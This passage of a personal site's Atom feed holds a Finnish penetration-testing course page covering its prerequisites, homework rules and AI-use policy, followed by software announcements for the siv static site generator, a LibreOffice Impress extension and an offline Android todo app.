&lt;p&gt;Linuxia käytetään työkaluna. Perustaidot riittävät. Kurssi ei edellytä laajoja Linuxin ylläpitotaitoja.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Komentokehotteen käyttö&lt;/li&gt;
&lt;li&gt;Pääkäyttäjän oikeudet (sudo)&lt;/li&gt;
&lt;li&gt;Pakentinhallinta (apt-get)&lt;/li&gt;
&lt;li&gt;Hakemistorakenne (esim. /home/tero/, /etc/, /, /var/log, /usr/bin/, /usr/local/bin/)&lt;/li&gt;
&lt;li&gt;Lokit (sudo journalctl -n 20; /var/log/apache2/error.log)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Opettele komennot tästä: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Karvinen 2020: Command Line Basics Revisited&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Helpointa kerrata nämä asentamalla Linux virtuaalikoneeseen ja leikkimällä sillä.&lt;/p&gt;
&lt;h3 id=&quot;linuxin-asentaminen-virtuaalikoneeseen&quot;&gt;Linuxin asentaminen virtuaalikoneeseen &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#linuxin-asentaminen-virtuaalikoneeseen&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Esimerkiksi Debianin asentaminen VirtualBoxiin (ohje alla)&lt;/li&gt;
&lt;li&gt;Voit käyttää muitakin virtualisointiratkaisuja, jos pystyt itse soveltamaan ja ratkomaan niihin liittyvät haasteet (esim QEMU, lib-virt, virt-manager...)&lt;/li&gt;
&lt;li&gt;Macci ei ole suositeltava eikä tuettu alusta. Jos oma koneesi on uusi M1, M2 tai M3-prosessorilla varustettu Mac, niin tulee osata asentaa Linux virtuaalikoneeseen tässä (arm64) ympäristössä ja pystyä ajamaan (emulaatiolla tms) amd64 binäärejä.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tällä asennusohjeella opiskelijat ovat asentaneet satoja Linuxeja: &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on Virtualbox - Updated 2024&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notes on &lt;a href=&quot;https://github.com/MarcCarr/InfoSecMC/blob/main/H2_Kill_Chain.md#a-bookworm&quot;&gt;Mac M1 install: Carr 2024: a) Bookworm&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;vanhoja-toteutuksia&quot;&gt;Vanhoja toteutuksia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#vanhoja-toteutuksia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2026/verkkoon-tunkeutuminen-ja-tiedustelu-2026-late-spring/&quot;&gt;Verkkoon tunkeutuminen ja tiedustelu ICI013AS3A-3003 (2026 late spring)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2025/verkkoon-tunkeutuminen-ja-tiedustelu-ici013as3a-3002-2025p2/&quot;&gt;Verkkoon tunkeutuminen ja tiedustelu 2025p2 ICI013AS3A-3002&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2025/verkkoon-tunkeutuminen-ja-tiedustelu--ici013as3a-3001--2025p4/&quot;&gt;Verkkoon tunkeutuminen ja tiedustelu ICI013AS3A-3001 loppukeväällä 2025p4&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;laksyt&quot;&gt;Läksyt &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#laksyt&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palautus 24 h ennen seuraavaa lukujärjestykseen merkittyä aikaa. Weppisivulle (HTML), ja palauta linkki Laksuun. Halutessasi voit laittaa linkin myös kommentiksi tämän sivun perään, niin sivusi saa lisää kävijöitä ja nousee PageRankissa.&lt;/p&gt;
&lt;p&gt;Nämä läksyt ovat alustavia. Läksyt ovat virallisia vasta, kun ne on annettu tunnilla. Tämä on edistynyt kurssi, joten pystymme tekemään muutoksia kurssin kuluessa ja sovittamaan läksyt aiheen mukaan. Jos et uskalla tai muuten halua julkaista, voit laittaa weppisivun salasanan taakse (sama salasana koko kurssille ja jokaiselle tehtävälle, ei kirjautumista eri tunnuksilla eri henkilöille) ja jakaa salasanan kurssilaisten kanssa - mutta suosittelen julkaisua. Kotisivutilaa saa esim wordpress.com, github.com, gitlab.com ja monista muista paikoista.&lt;/p&gt;
&lt;p&gt;Suosittu ja helppo tapa on &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;laittaa raportit Githubiin&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse.&lt;/p&gt;
&lt;p&gt;Kaikkien ajan säästämiseksi poistan kurssilta ne, jotka eivät palauta tehtäviä ajallaan.&lt;/p&gt;
&lt;p&gt;Tekoälyn käyttö: Tällä kurssilla on samat AI säännöt kuin YAMK:n kurssillani: &quot;AI and large language models (LLM): You can ask AI or LLM a question and use the answer as facts for your own answer, written in your own words. AI must be marked as a reference, with details such as prompt (and for advanced users system prompts, temperature, jailbreaks...). LLMs tend to hallucinate, so you should check answers from more reliable sources. It&#39;s not allowed to generate text with AI or similar technologies. For example, it&#39;s not allowed to generate essay answers or summaries with AI, LLM or similar technologies.&quot;&lt;/p&gt;
&lt;h3 id=&quot;tehtavanannot&quot;&gt;Tehtävänannot &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#tehtavanannot&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Läksyt on liitetty tähän uudella tavalla, laita viestiä jos läksyt eivät näy.&lt;/em&gt;&lt;/p&gt;
&lt;div id=homeworkEmbed&gt;Loading homework with JavaScript. You can also &lt;a href=&quot;https://app.terokarvinen.com/embed/course/55/tasks/&quot;&gt;read homework directly&lt;/a&gt;, without JavaScript. &lt;/div&gt;
&lt;script&gt;fetch(&quot;https://app.terokarvinen.com/embed/course/55/tasks/&quot;).then(e=&gt;e.text()).then(e=&gt;document.getElementById(&quot;homeworkEmbed&quot;).innerHTML=e)&lt;/script&gt;
</content>
  </entry>

  <entry>
    <title>Siv manual</title>
    <link href="https://terokarvinen.com/siv/manual/"/>
    <id>https://terokarvinen.com/siv/manual/</id>
    <published>2026-10-15T13:00:00+03:00</published>
    <updated>2026-10-15T13:00:00+03:00</updated>
    <content type="html">&lt;figure class=&quot;right&quot; style=&quot;max-width: 350px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/siv/manual/cover.w900.h82ab5722.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/siv/manual/cover.w480.h82ab5722.avif 480w, https://terokarvinen.com/siv/manual/cover.w800.h82ab5722.avif 800w, https://terokarvinen.com/siv/manual/cover.w900.h82ab5722.avif 900w&quot; sizes=&quot;(max-width: 350px) 100vw, 350px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/siv/manual/cover.w800.h82ab5722.png&quot; srcset=&quot;https://terokarvinen.com/siv/manual/cover.w800.h82ab5722.png 800w, https://terokarvinen.com/siv/manual/cover.w900.h82ab5722.png 900w&quot; sizes=&quot;(max-width: 350px) 100vw, 350px&quot; width=&quot;800&quot; height=&quot;800&quot; alt=&quot;A bar chart and a sequence diagram drawn by siv, and the few lines of text that make the bar chart&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;figcaption&gt;A bar chart and a sequence diagram drawn by siv, and the few lines of text that make the bar chart&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Siv turns folders of Markdown into a website. This manual goes from an empty folder to a published site, one step at a time.&lt;/p&gt;
&lt;p&gt;You&#39;ll also learn the handy extras: charts from a few lines of text, checks in your editor while you write, and moving a page without breaking its old address.&lt;/p&gt;
&lt;p&gt;All of this is also available in siv itself, without a network connection: &#39;&lt;code&gt;siv help&lt;/code&gt;&#39;.&lt;/p&gt;
&lt;h2 id=&quot;contents&quot;&gt;Contents &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/siv/manual/#contents&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/siv/manual/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/manual/start/&quot;&gt;Getting started&lt;/a&gt;: your first article in the browser, in five minutes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/manual/markdown/&quot;&gt;Writing with Markdown&lt;/a&gt;: text, lists, links, code and tables&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/manual/images/&quot;&gt;Images&lt;/a&gt;: photos with captions, layouts and sizes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/manual/charts/&quot;&gt;Charts and diagrams&lt;/a&gt;: bar, line and stack charts from text&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/manual/pages/&quot;&gt;Pages, folders and addresses&lt;/a&gt;: front matter, dates, links and moving pages&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/manual/lists/&quot;&gt;Lists, tags and the feed&lt;/a&gt;: the front page, tag pages, feeds and languages&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/manual/look/&quot;&gt;Changing the look&lt;/a&gt;: colors, fonts, dark mode, templates and HTML&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/manual/publish/&quot;&gt;Publishing&lt;/a&gt;: copying the site to a server&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/manual/checks/&quot;&gt;Checks and explanations&lt;/a&gt;: error messages and what they mean&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/manual/editors/&quot;&gt;Editors&lt;/a&gt;: checks while you write, images and Tab completion&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/manual/reference/&quot;&gt;Reference&lt;/a&gt;: every command, setting and front matter key&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To read it all from start to end, search it or print it: &lt;a href=&quot;https://terokarvinen.com/siv/manual/one-page/&quot;&gt;the whole manual on one page&lt;/a&gt;. Artificial intelligence and many other tools were used when creating siv and the manual. &lt;a href=&quot;https://terokarvinen.com/siv/siv&quot;&gt;Download siv&lt;/a&gt; and read more on the &lt;a href=&quot;https://terokarvinen.com/siv&quot;&gt;siv home page&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>siv – static site generator</title>
    <link href="https://terokarvinen.com/siv/"/>
    <id>https://terokarvinen.com/siv/</id>
    <published>2026-10-13T21:06:00Z</published>
    <updated>2026-10-13T21:06:00Z</updated>
    <content type="html">&lt;p&gt;Siv is a static site generator. Author (you) writes MarkDown pages. Siv builds a static HTML website. Templates add navigation and your style.&lt;/p&gt;
&lt;p&gt;Single static binary, written in Rust. Starter site built-in, valid, Lighthouse 100/100, prefetch, search. Help, good error messages, tutorial, file explainer built-in. Images automatically from markdown to avif srcset + lightbox. Syntax highlight with autodetection. Fast, with rsync-friendly true dates. Free software, GPL 3 or later.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;chmod&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ugo+x siv&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; cp&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;v&lt;/span&gt; siv /usr/local/bin/&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;siv&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;Next: Create a website:&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;  siv init my-website&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;why-siv&quot;&gt;Why siv &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/siv/#why-siv&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/siv/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Just run &lt;code&gt;siv&lt;/code&gt;.&lt;/strong&gt; It tells you the next step.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A working site from the first minute.&lt;/strong&gt; Write first, tweak the looks later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pictures just work.&lt;/strong&gt; siv makes every size a screen needs, with captions and a lightbox.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mistakes are caught before readers see them.&lt;/strong&gt; Every build checks your links.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Keeps working for years.&lt;/strong&gt; It&#39;s one static binary, with all the help inside: &lt;code&gt;siv help&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Your site is plain HTML: it&#39;s fast, cheap to host and has little to hack or update.&lt;/p&gt;
&lt;h2 id=&quot;some-details&quot;&gt;Some details &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/siv/#some-details&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/siv/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Modern images are supported. Author writes regular MarkDown. Siv creates good quality images. Srcset makes browsers pick the the right sized image - a combination of speed and high visual quality. Images are converted to avif for perceived quality for given filesize. For very old browsers, jpg is provided for backward compatibility. You don&#39;t need to do anything for this to happen, just write MarkDown &lt;code&gt;![Cat with a hat](cat.jpg)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Siv templates uses Jinja-style templates, similar to Django or Tera. Template engine minijinja is written by the author of Jinja2.&lt;/p&gt;
&lt;p&gt;Siv is a single, statically linked binary written in Rust. It uses minijinja and pulldown-cmark. Siv has extensive built-in help and clear error messages. Siv can also &#39;siv explain&#39; any file or folder. So you can confidently build your website, even without Internet. Artificial intelligence was used as among other tools to help building siv.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://terokarvinen.com/siv/siv&quot;&gt;Download siv for Linux&lt;/a&gt;&lt;/strong&gt; - one file, no install, free software. &lt;a href=&quot;https://terokarvinen.com/siv/#other-downloads&quot;&gt;Other downloads&lt;/a&gt;&lt;/p&gt;
&lt;figure&gt;
&lt;a href=&quot;https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w1440.h753ab470.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w480.h753ab470.avif 480w, https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w800.h753ab470.avif 800w, https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w1200.h753ab470.avif 1200w, https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w1440.h753ab470.avif 1440w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w800.h753ab470.png&quot; srcset=&quot;https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w800.h753ab470.png 800w, https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w1440.h753ab470.png 1440w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;600&quot; alt=&quot;Markdown on the left, the page siv made from it on the right&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;figcaption&gt;Markdown on the left, the page siv made from it on the right&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id=&quot;license&quot;&gt;License &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/siv/#license&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/siv/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;siv is free software under GPL-3.0-or-later, and your website is yours: license your pages however you like.&lt;/p&gt;
&lt;p&gt;Copyright 2026 Tero Karvinen https://TeroKarvinen.com&lt;/p&gt;
&lt;h2 id=&quot;other-downloads&quot; other-downloads=&quot;&quot;&gt;Other downloads &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/siv/#other-downloads&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/siv/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Common Linux amd64 is the main platform. Other binaries are untested, and provided on best-effort basis (except Windows, that&#39;s provided on worst-effort basis).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/siv-0.1.37-linux-amd64&quot;&gt;siv-0.1.37-linux-amd64&lt;/a&gt; (the common one)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/siv-0.1.37-linux-arm64&quot;&gt;siv-0.1.37-linux-arm64&lt;/a&gt; (e.g. Linux on a Mac)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/siv-0.1.37-windows-amd64.exe&quot;&gt;siv-0.1.37-windows-amd64.exe&lt;/a&gt; (worst effort basis)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/siv-0.1.37-source.tar.gz&quot;&gt;siv-0.1.37-source.tar.gz&lt;/a&gt; (compile it yourself)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Windows users: Upgrade to Linux, try Debian. But before that, press ugly-X (&quot;windows-key&quot;), choose PowerShell, find siv.exe, &quot;Set-Alias siv C:\some\dir\siv-0.0.1-windows.exe&quot;.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>tBar for LibreOffice Impress</title>
    <link href="https://terokarvinen.com/tbar-for-impress/"/>
    <id>https://terokarvinen.com/tbar-for-impress/</id>
    <published>2026-10-02T17:04:00+03:00</published>
    <updated>2026-10-02T17:04:00+03:00</updated>
    <content type="html">&lt;p&gt;Hide slide overflow.&lt;/p&gt;
&lt;p&gt;Change slide layout from toolbar, don&#39;t waste 10% of screen for sidebar.&lt;/p&gt;
&lt;figure style=&quot;max-width: 629px&quot;&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/tbar-for-impress/tbar.w480.h0b06d183.avif 480w, https://terokarvinen.com/tbar-for-impress/tbar.w629.h0b06d183.avif 629w&quot; sizes=&quot;(max-width: 629px) 100vw, 629px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/tbar-for-impress/tbar.w629.h0b06d183.png&quot; srcset=&quot;https://terokarvinen.com/tbar-for-impress/tbar.w629.h0b06d183.png 629w&quot; sizes=&quot;(max-width: 629px) 100vw, 629px&quot; width=&quot;629&quot; height=&quot;46&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;p&gt;An extension for LibreOffice Impress.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/tbar-for-impress/tbar-impress.oxt&quot;&gt;Download tbar-impress.oxt&lt;/a&gt;. LibreOffice Impress: Tools: Extensions: Add.&lt;/p&gt;
&lt;br&gt;
&lt;div class=pad&gt;
	&lt;a href=&quot;tbar-impress.oxt&quot; class=&quot;downloadAButton pad&quot;&gt;Download &lt;b&gt;tbar-impress.oxt&lt;/b&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;
&lt;p&gt;&lt;strong&gt;Hide slide overflow&lt;/strong&gt;: Would you like to see what&#39;s actually visible on your slide? Hide slide overflow dims everything outside slide.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide layout&lt;/strong&gt;: On toolbar, not sidebar. Ctrl-M for a new slide, then click the layout. Heading and bullets. Or two columns. TBar puts the layout buttons on the toolbar. By default, they are on sidebar, which takes about half a full HD display out of a 4K monitor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Beta&lt;/strong&gt;. Tested with LibreOffice Impress 25.2.3.2. It&#39;s the one that comes with Debian stable, 13-trixie. Or just &#39;sudo apt-get update; sudo apt-get install libreoffice-impress&#39;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Clanker rant&lt;/strong&gt;: Created with the assistance of artificial intelligence. I also had an AI write me a README, but it was so long winded I had to do it again by hand. Even another AI instance said it&#39;s TL;DR time.&lt;/p&gt;
&lt;h2 id=&quot;hide-overflow-what-does-it-look-like&quot;&gt;&lt;span id=&quot;hide-overflow---what-does-it-look-like&quot;&gt;&lt;/span&gt;Hide overflow - what does it look like &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tbar-for-impress/#hide-overflow-what-does-it-look-like&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tbar-for-impress/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;figure&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/tbar-for-impress/screenshot.w480.he2dc94c8.avif 480w, https://terokarvinen.com/tbar-for-impress/screenshot.w800.he2dc94c8.avif 800w, https://terokarvinen.com/tbar-for-impress/screenshot.w1200.he2dc94c8.avif 1200w, https://terokarvinen.com/tbar-for-impress/screenshot.w1320.he2dc94c8.avif 1320w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/tbar-for-impress/screenshot.w800.he2dc94c8.png&quot; srcset=&quot;https://terokarvinen.com/tbar-for-impress/screenshot.w800.he2dc94c8.png 800w, https://terokarvinen.com/tbar-for-impress/screenshot.w1320.he2dc94c8.png 1320w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;414&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

</content>
  </entry>

  <entry>
    <title>0x54ask - Todo.txt manager for Android. Offline, works with syncthing. </title>
    <link href="https://terokarvinen.com/0x54ask/"/>
    <id>https://terokarvinen.com/0x54ask/</id>
    <published>2026-08-30T22:24:00+03:00</published>
    <updated>2026-08-30T22:24:00+03:00</updated>
    <content type="html">&lt;p&gt;0x54ask is a todo.txt manager. It supports context (@W at work, @H at home...) and tags (+linux, +bank, +tero).&lt;/p&gt;
&lt;figure class=&quot;right&quot; style=&quot;max-width: 200px&quot;&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/0x54ask/icon.w480.h14a25433.avif 480w, https://terokarvinen.com/0x54ask/icon.w512.h14a25433.avif 512w&quot; sizes=&quot;(max-width: 200px) 100vw, 200px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/0x54ask/icon.w512.h14a25433.png&quot; srcset=&quot;https://terokarvinen.com/0x54ask/icon.w512.h14a25433.png 512w&quot; sizes=&quot;(max-width: 200px) 100vw, 200px&quot; width=&quot;512&quot; height=&quot;512&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;p&gt;0x54ask forks SimpleTask Cloudless. It provides passive perks: data safety, automerge, filesystem protection - and it never connects Internet, at all.&lt;/p&gt;
&lt;p&gt;Update: &lt;a href=&quot;https://f-droid.org/en/packages/com.terokarvinen.x54ask/&quot;&gt;Install on F-Droid!&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;install-on-f-droid&quot;&gt;Install on F-Droid &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#install-on-f-droid&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;figure style=&quot;max-width: 269px&quot;&gt;
&lt;a href=&quot;https://f-droid.org/en/packages/com.terokarvinen.x54ask/&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/0x54ask/get-it-on-80h.w269.h20b27775.avif 269w&quot; sizes=&quot;(max-width: 269px) 100vw, 269px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/0x54ask/get-it-on-80h.w269.h20b27775.png&quot; srcset=&quot;https://terokarvinen.com/0x54ask/get-it-on-80h.w269.h20b27775.png 269w&quot; sizes=&quot;(max-width: 269px) 100vw, 269px&quot; width=&quot;269&quot; height=&quot;80&quot; alt=&quot;Get it on F-Droid&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;figcaption&gt;Get it on F-Droid&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;ps. Hey Google! Don&#39;t be evil. &lt;a href=&quot;https://keepandroidopen.org&quot;&gt;KeepAndroidOpen.org&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;download&quot;&gt;Download &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#download&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/0x54ask/x54ask-cloudless-debug.apk&quot;&gt;Download 0x54ask installer apk&lt;/a&gt; or read &lt;a href=&quot;https://gitlab.com/terokarvinen/x54ask&quot;&gt;sources on GitLab&lt;/a&gt;.&lt;/p&gt;
